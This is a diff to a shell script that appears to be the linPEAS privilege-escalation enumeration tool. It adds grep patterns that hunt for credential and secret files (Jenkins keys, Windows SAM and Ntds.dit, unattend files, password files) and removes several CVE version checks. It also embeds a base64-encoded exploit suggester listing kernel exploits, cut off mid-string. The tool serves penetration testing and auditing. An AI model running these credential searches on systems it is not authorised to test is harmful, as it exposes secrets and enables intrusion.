"^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) + PSTORAGE_JETTY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) + PSTORAGE_JENKINS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "master\.key$|hudson\.util\.Secret$|credentials\.xml$|config\.xml$|.*jenkins$" | sort | uniq | head -n 70) + PSTORAGE_WGET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) + PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) + PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) + PSTORAGE_WINDOWS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.rdg$|AppEvent\.Evt$|autounattend\.xml$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.inf$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$|plum\.sqlite$" | sort | uniq | head -n 70) + PSTORAGE_DATABASE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/|/man/|/usr/|/var/cache/|thumbcache|iconcache|IconCache' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) + PSTORAGE_BACKUPS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "backup$|backups$" | sort | uniq | head -n 70) + PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) - ##### POST SERACH VARIABLES ##### + ##### POST SEARCH VARIABLES ##### backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')" printf ${YELLOW}"DONE\n"$NC echo "" @@ -1322,42 +1351,6 @@ else echo_not_found "sudo" fi echo "" -#-- SY) CVEs -print_2title "CVEs Check" - -#-- SY) CVE-2021-4034 -if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1641942000" ]; then - echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW}," - echo "" -fi - -#-- SY) CVE-2021-3560 -polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9) -if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then - echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW}," - echo "" -fi - -#-- SY) CVE-2022-0847 -#-- https://dirtypipe.cm4all.com/ -#-- https://stackoverflow.com/a/37939589 -kernelversion=$(uname -r | awk -F"-" '{print $1}') -kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') -if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17 - echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED}," - echo "" -fi - -#-- SY) CVE-2022-2588 -#-- https://github.com/Markakd/CVE-2022-2588 -kernelversion=$(uname -r | awk -F"-" '{print $1}') -kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') -if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19 - echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED}," - echo "" -fi -echo "" - #--SY) USBCreator if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then print_2title "USBCreator" @@ -1384,9 +1377,10 @@ print_2title "PATH" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" if ! [ "$IAMROOT" ]; then echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" - echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" -else - echo "New path exported: $PATH" 2>/dev/null +fi + +if [ "$DEBUG" ]; then + echo "New path exported: $PATH" fi echo "" @@ -1463,7 +1457,7 @@ fi if [ "$(command -v bash 2>/dev/null)" ]; then print_2title "Executing Linux Exploit Suggester" print_info "https://github.com/mzet-/linux-exploit-suggester" - les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMiwgQF9temV0XwojCiMgbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLgojIFRoaXMgaXMgZnJlZSBzb2Z0d2FyZSwgYW5kIHlvdSBhcmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgaXQKIyB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLiBTZWUgTElDRU5TRQojIGZpbGUgZm9yIHVzYWdlIG9mIHRoaXMgc29mdHdhcmUuCiMKClZFUlNJT049djEuMQoKIyBiYXNoIGNvbG9ycwojdHh0cmVkPSJcZVswOzMxbSIKdHh0cmVkPSJcZVs5MTsxbSIKdHh0Z3JuPSJcZVsxOzMybSIKdHh0Z3JheT0iXGVbMDszN20iCnR4dGJsdT0iXGVbMDszNm0iCnR4dHJzdD0iXGVbMG0iCmJsZHdodD0nXGVbMTszN20nCndodD0nXGVbMDszNm0nCmJsZGJsdT0nXGVbMTszNG0nCnllbGxvdz0nXGVbMTs5M20nCmxpZ2h0eWVsbG93PSdcZVswOzkzbScKCiMgaW5wdXQgZGF0YQpVTkFNRV9BPSIiCgojIHBhcnNlZCBkYXRhIGZvciBjdXJyZW50IE9TCktFUk5FTD0iIgpPUz0iIgpESVNUUk89IiIKQVJDSD0iIgpQS0dfTElTVD0iIgoKIyBrZXJuZWwgY29uZmlnCktDT05GSUc9IiIKCkNWRUxJU1RfRklMRT0iIgoKb3B0X2ZldGNoX2JpbnM9ZmFsc2UKb3B0X2ZldGNoX3NyY3M9ZmFsc2UKb3B0X2tlcm5lbF92ZXJzaW9uPWZhbHNlCm9wdF91bmFtZV9zdHJpbmc9ZmFsc2UKb3B0X3BrZ2xpc3RfZmlsZT1mYWxzZQpvcHRfY3ZlbGlzdF9maWxlPWZhbHNlCm9wdF9jaGVja3NlY19tb2RlPWZhbHNlCm9wdF9mdWxsPWZhbHNlCm9wdF9zdW1tYXJ5PWZhbHNlCm9wdF9rZXJuZWxfb25seT1mYWxzZQpvcHRfdXNlcnNwYWNlX29ubHk9ZmFsc2UKb3B0X3Nob3dfZG9zPWZhbHNlCm9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCm9wdF9za2lwX3BrZ192ZXJzaW9ucz1mYWxzZQoKQVJHUz0KU0hPUlRPUFRTPSJoVmZic3U6azpkcDpnIgpMT05HT1BUUz0iaGVscCx2ZXJzaW9uLGZ1bGwsZmV0Y2gtYmluYXJpZXMsZmV0Y2gtc291cmNlcyx1bmFtZTosa2VybmVsOixzaG93LWRvcyxwa2dsaXN0LWZpbGU6LHNob3J0LGtlcm5lbHNwYWNlLW9ubHksdXNlcnNwYWNlLW9ubHksc2tpcC1tb3JlLWNoZWNrcyxza2lwLXBrZy12ZXJzaW9ucyxjdmVsaXN0LWZpbGU6LGNoZWNrc2VjIgoKIyMgZXhwbG9pdHMgZGF0YWJhc2UKZGVjbGFyZSAtYSBFWFBMT0lUUwpkZWNsYXJlIC1hIEVYUExPSVRTX1VTRVJTUEFDRQoKIyMgdGVtcG9yYXJ5IGFycmF5IGZvciBwdXJwb3NlIG9mIHNvcnRpbmcgZXhwbG9pdHMgKGJhc2VkIG9uIGV4cGxvaXRzJyByYW5rKQpkZWNsYXJlIC1hIGV4cGxvaXRzX3RvX3NvcnQKZGVjbGFyZSAtYSBTT1JURURfRVhQTE9JVFMKCiMjIyMjIyMjIyMjIyBMSU5VWCBLRVJORUxTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBlbGZsYmwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9Mi40LjI5ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMvaXNlYy0wMDIxLXVzZWxpYi50eHQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2VsZmxibApleHBsb2l0LWRiOiA3NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSB1c2VsaWIoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApleHBsb2l0LWRiOiA3NzgKQ29tbWVudHM6IEtub3duIHRvIHdvcmsgb25seSBmb3IgMi40IHNlcmllcyAoZXZlbiB0aG91Z2ggMi42IGlzIGFsc28gdnVsbmVyYWJsZSkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBrcmFkMwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjUsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAxMzk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDA3N10ke3R4dHJzdH0gbXJlbWFwX3B0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE2MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHJhcHRvcl9wcmN0bApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEzLHZlcjw9Mi42LjE3ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMjAzMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA1CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGw0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDExCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMzYyNl0ke3R4dHJzdH0gaDAwbHlzaGl0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuOCx2ZXI8PTIuNi4xNgpUYWdzOgpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQKZXhwbG9pdC1kYjogMjAxMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE3LHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIzLHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTQyMTBdJHt0eHRyc3R9IGZ0cmV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTEsdmVyPD0yLjYuMjIKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA2ODUxCkNvbW1lbnRzOiB3b3JsZC13cml0YWJsZSBzZ2lkIGRpcmVjdG9yeSBhbmQgc2hlbGwgdGhhdCBkb2VzIG5vdCBkcm9wIHNnaWQgcHJpdnMgdXBvbiBleGVjIChhc2gvc2FzaCkgYXJlIHJlcXVpcmVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZXhpdF9ub3RpZnkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNSx2ZXI8PTIuNi4yOQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDgzNjkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyXSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChzaW1wbGUgdmVyc2lvbikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT03LjEwLFJIRUw9NCxmZWRvcmE9NHw1fDZ8N3w4fDl8MTB8MTEKUmFuazogMQpleHBsb2l0LWRiOiA5NDc5CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT05LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hvcmwud29yZHByZXNzLmNvbS8yMDA5LzA3LzE2L2N2ZS0yMDA5LTE4OTUtbGludXgta2VybmVsLXBlcl9jbGVhcl9vbl9zZXRpZC1wZXJzb25hbGl0eS1ieXBhc3MvCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk0MzUudGd6CmV4cGxvaXQtZGI6IDk0MzUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6I